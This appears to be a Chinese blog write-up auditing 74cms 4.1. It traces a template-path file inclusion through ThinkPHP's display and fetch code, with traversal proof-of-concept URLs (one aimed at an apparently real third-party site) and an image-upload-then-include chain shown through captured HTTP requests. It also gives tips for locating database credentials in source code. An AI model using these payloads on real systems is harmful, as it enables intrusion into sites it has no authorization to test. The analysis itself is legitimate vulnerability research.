基础积累:
1.在我们拿到一套源码的时候,首先需要寻找连接数据库的密码和网站后台的密码。
第一种方法是看文件名,看看有没有明显的config.php
global_function.php类似的文件。
第二种方式是全局搜索
"new mysql("
"mysqli_connect("
"new PDO"
这个是php连接数据库的常用操作,参数就是数据库的用户名和口令。
2.http://0day5.com/archives/4257/
根据漏洞描述,这个洞主要是服务端模板注入漏洞,首先自己下载了老版本4.1的74cms并搭建成功,用poc测试了一下
http://enshijob.com/index.php?m=&c=M&a=index&type=../favicon.ico
发现是可以的。根据Thinkphp的url规则,找到文件Application/Home/Controller/MController.class.php
namespace Home\Controller;
use Common\Controller\FrontendController;
class MController extends FrontendController{
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
$this->assign('android_download_url',$android_download_url);
$this->assign('ios_download_url',$ios_download_url);
$this->assign('type',$type);
$this->display('M/'.$type);
}
}
这里解释几句php代码,备忘
$type = I(‘get.type’,’android’,’trim’); ==== trim($_GET[‘type’]) 这里默认值是android,type就成为了url中可控的参数。
C(‘PLATFORM’) ===== 读取PLATFORM配置的值
this->assign(a,b) ===== set a=b
接下来type 就被带入了display函数中,我们来看看display做了什么操作
protected function display($tpl){
if(!$this->get('page_seo')){
$page_seo = D('Page')->get_page();
$this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],I('request.'));
}
parent::display($tpl);
if($this->visitor->is_login && !IS_AJAX && IS_GET){
$this->apply['Analyze'] && $this->record_route();
}
}
前面在设置SEO(搜索引擎优化)
后面就调用了parent::display()函数,继续跟踪type的值
/**
* 模板显示 调用内置的模板引擎显示方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $charset 输出编码
* @param string $contentType 输出类型
* @param string $content 输出内容
* @param string $prefix 模板缓存前缀
* @return void
*/
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}
这里看到templateFile又被带入$this->view->display函数,继续跟踪(这里的this 是ThinkPHP 控制器基类 抽象类)
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return mixed
*/
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}
在view.class.php中,$content = $this->fetch($templateFile,$content,$prefix);
根据框架的注释,意思是解析并获取模板内容,这里应该是处理模板的地方。继续跟踪
/**
* 解析和获取模板内容 用于输出
* @access public
* @param string $templateFile 模板文件名
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return string
*/
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
这里就看到了如果使用php原生模板,会直接include $templateFile
,正儿八经的文件包含漏洞。可是分析到这里了,如何利用呢?
摘抄Thinkphp3.2完全开发手册的一段话
Php代码可以和标签在模板文件中混合使用,可以在模板文件里面书写任意的PHP语句代码 ,包括下面两种方式:
第一种:使用php标签
例如:
<php>echo 'Hello,world!';</php>
我们建议需要使用PHP代码的时候尽量采用php标签,因为原生的PHP语法可能会被配置禁用而导致解析错误。
第二种:使用原生php代码
<?php echo 'Hello,world!'; ?>
注意:php标签或者php代码里面就不能再使用标签(包括普通标签和XML标签)了,因此下面的几种方式都是无效的:
<php><eq name='name'value='value'>value</eq></php>
Php标签里面使用了eq标签,因此无效
<php>if( {$user} != 'ThinkPHP' ) echo 'ThinkPHP' ;</php>
Php标签里面使用了{$user}普通标签输出变量 ,因此无效。
<php>if( $user.name != 'ThinkPHP' ) echo 'ThinkPHP' ;</php>
Php标签里面使用了$user.name 点语法变量输出 ,因此无效。
简而言之,在PHP标签里面不能再使用PHP本身不支持的代码。
如果设置了TMPL_DENY_PHP参数为true,就不能在模板中使用原生的PHP代码,但是仍然支持PHP标签输出。
OK ,如果看懂了,那就明白了只要模板中插入原生php代码,就可以在上述的代码中正常包含,进而执行php代码了。
接下来就需要找可以上传文件的地方了,并且可以知道上传路径的那种,当然,有的大佬可以各种姿势找到路径的不说。
注册一个新用户,找到个人简历上传图片的地方,上传一个带有phpinfo的图片
Request URL: http://localhost:8000/74cms41/upload/index.php?m=Home&c=upload&a=attach
Request Method: POST
Status Code: 200 OK
Remote Address: [::1]:8000
Referrer Policy: no-referrer-when-downgrade
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Date: Mon, 21 May 2018 12:43:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
Transfer-Encoding: chunked
X-Powered-By: PHP/5.4.45
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 149327
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylXlVShdwzAqaRCCE
Cookie: think_template=default; PHPSESSID=ve96r267rkgegu7s15sn0hv7a7; think_language=zh-CN; _qscmsbd114f8f12c63c064fecf735570b5d9b=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%225210fb72127a61f0d9a5a7b6bbf342b8%22%7D
Host: localhost:8000
Origin: http://localhost:8000
Referer: http://localhost:8000/74cms41/upload/index.php?m=&c=personal&a=resume_edit&pid=1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
m: Home
c: upload
a: attach
然后….然后,你就会看到抓包工具中又多了一个包,上面有图片的地址。。。omg
Request URL: http://localhost:8000/74cms41/upload/data/upload/resume_img/1805/21/5b02bed47e5ed.jpg
Request Method: GET
Status Code: 200 OK
Remote Address: [::1]:8000
Referrer Policy: no-referrer-when-downgrade
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 199257
Content-Type: image/jpeg
Date: Mon, 21 May 2018 12:43:00 GMT
ETag: W/"30a59-56cb6a4591d70"
Keep-Alive: timeout=5, max=99
Last-Modified: Mon, 21 May 2018 12:43:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: think_template=default; PHPSESSID=ve96r267rkgegu7s15sn0hv7a7; think_language=zh-CN; _qscmsbd114f8f12c63c064fecf735570b5d9b=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%225210fb72127a61f0d9a5a7b6bbf342b8%22%7D
Host: localhost:8000
Referer: http://localhost:8000/74cms41/upload/index.php?m=&c=personal&a=resume_edit&pid=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
thanks haha
利用上面的漏洞,访问m=&c=M&a=index&type=../data/upload***************
发现报系统错误,404,再调代码发现,源代码中好像把这个功能代码给删除了,这就是74cms 的应急补洞(⊙_⊙)? 略略略